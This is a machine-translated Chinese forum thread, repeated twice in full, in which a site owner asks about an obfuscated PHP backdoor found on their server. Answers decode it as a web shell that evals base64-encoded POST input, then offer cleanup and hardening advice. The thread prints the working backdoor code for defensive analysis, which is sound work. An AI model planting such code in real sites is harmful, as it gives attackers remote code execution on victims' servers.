试图解码病毒
Trying to decode a virus
我的服务器最近遭到攻击,我一直在努力研究它是如何以及为什么发生的。
我在病毒文件中发现了一个非常相似的模式,看起来像这样 - 据我所知它正在尝试 运行 特定文件?
有没有人见过这样的事情,我应该如何解释?它只是根据 $sF
字符串抓取单个字符吗?
<?php
$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
eval($s21($s22));
}?>
变量$s21
等于base64_decode
,$s22
等于$_POST['nd335c3']
。
每当向您的服务器发出 POST
请求时,它都会执行 $_POST['nd335c3'];
中的任何命令,如您所料,这是非常危险的。
我非常怀疑你的服务器被黑了,而是你的网站脚本被利用了。您网站上是否有用户可以上传文件的地方?我在 WordPress 上看到过很多这样的东西,但插件编码很差。
解决问题
要解决此问题,请先删除此文件或代码段。您可能想要关闭站点并将其置于维护模式,直到您可以搜索并验证所有其他文件未被修改。
网站备份并 运行ning 后,记录对被黑文件所在位置发出的请求或包含相同 POST 变量的请求。
一旦您有一个用户向漏洞发送数据,您就可以检查所有其他日志文件并将它们与相同的 IP 地址和用户代理进行比较。这是一个远景,但希望他们只使用一台计算机进行攻击。从日志中你可以看到他们到底访问了什么,可能执行攻击并上传被利用的文件。
将来防止这种情况
- 不要将您在网上找到的任何代码安装到您的网站上,除非您信任开发人员并相信它是完全安全的并且知道他们会发布更新。
- 将您的网络服务器设置为除了上传目录和
/tmp
之外没有写入权限
- 验证所有上传的文件以确保它们完全符合您的预期。
- 不允许PHP到运行上传文件的地方,将文件下载为静态直接文件。这样,即使上传的文件绕过了您的文件检查,也不会造成任何伤害。
只需按照 $sF 字符串的污染代码,您就会看到
= "base64_decode";
= "_POST['nd335c3']";
和其余代码,基本上检查 _POST['nd335c3'] 是否存在,如果存在则执行 PHP 代码:base64_decode(_POST['nd335c3']);
接下来会做什么我真的不知道,因为你没有显示病毒的完整代码。
希望对您有所帮助。
非常好的病毒。上面的答案似乎解释得很好,但也许你现在可以更好地理解PHP。您可以看到 PHP 对病毒非常友好,但这是使它如此通用和如此酷的语言的原因之一,可以用于许多事情。
一个稍微不那么恶意的代码混淆示例:
<?php
$v1 = "sartvuhi_";
$v2 = $v1[3] . $v1[6] . $v1[7] . $v1[0] . $v1[8];
$v3 = $v1[7] . $v1[0] . $v1[8] . $v1[1] . $v1[8];
$v4 = $v1[4] . $v1[7] . $v1[2] . $v1[5] . $v1[0];
echo $v2 . $v3 . $v4;
?>
我的服务器最近遭到攻击,我一直在努力研究它是如何以及为什么发生的。
我在病毒文件中发现了一个非常相似的模式,看起来像这样 - 据我所知它正在尝试 运行 特定文件?
有没有人见过这样的事情,我应该如何解释?它只是根据 $sF
字符串抓取单个字符吗?
<?php
$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
eval($s21($s22));
}?>
变量$s21
等于base64_decode
,$s22
等于$_POST['nd335c3']
。
每当向您的服务器发出 POST
请求时,它都会执行 $_POST['nd335c3'];
中的任何命令,如您所料,这是非常危险的。
我非常怀疑你的服务器被黑了,而是你的网站脚本被利用了。您网站上是否有用户可以上传文件的地方?我在 WordPress 上看到过很多这样的东西,但插件编码很差。
解决问题
要解决此问题,请先删除此文件或代码段。您可能想要关闭站点并将其置于维护模式,直到您可以搜索并验证所有其他文件未被修改。
网站备份并 运行ning 后,记录对被黑文件所在位置发出的请求或包含相同 POST 变量的请求。
一旦您有一个用户向漏洞发送数据,您就可以检查所有其他日志文件并将它们与相同的 IP 地址和用户代理进行比较。这是一个远景,但希望他们只使用一台计算机进行攻击。从日志中你可以看到他们到底访问了什么,可能执行攻击并上传被利用的文件。
将来防止这种情况
- 不要将您在网上找到的任何代码安装到您的网站上,除非您信任开发人员并相信它是完全安全的并且知道他们会发布更新。
- 将您的网络服务器设置为除了上传目录和
/tmp
之外没有写入权限
- 验证所有上传的文件以确保它们完全符合您的预期。
- 不允许PHP到运行上传文件的地方,将文件下载为静态直接文件。这样,即使上传的文件绕过了您的文件检查,也不会造成任何伤害。
只需按照 $sF 字符串的污染代码,您就会看到
= "base64_decode";
= "_POST['nd335c3']";
和其余代码,基本上检查 _POST['nd335c3'] 是否存在,如果存在则执行 PHP 代码:base64_decode(_POST['nd335c3']);
接下来会做什么我真的不知道,因为你没有显示病毒的完整代码。
希望对您有所帮助。
非常好的病毒。上面的答案似乎解释得很好,但也许你现在可以更好地理解PHP。您可以看到 PHP 对病毒非常友好,但这是使它如此通用和如此酷的语言的原因之一,可以用于许多事情。
一个稍微不那么恶意的代码混淆示例:
<?php
$v1 = "sartvuhi_";
$v2 = $v1[3] . $v1[6] . $v1[7] . $v1[0] . $v1[8];
$v3 = $v1[7] . $v1[0] . $v1[8] . $v1[1] . $v1[8];
$v4 = $v1[4] . $v1[7] . $v1[2] . $v1[5] . $v1[0];
echo $v2 . $v3 . $v4;
?>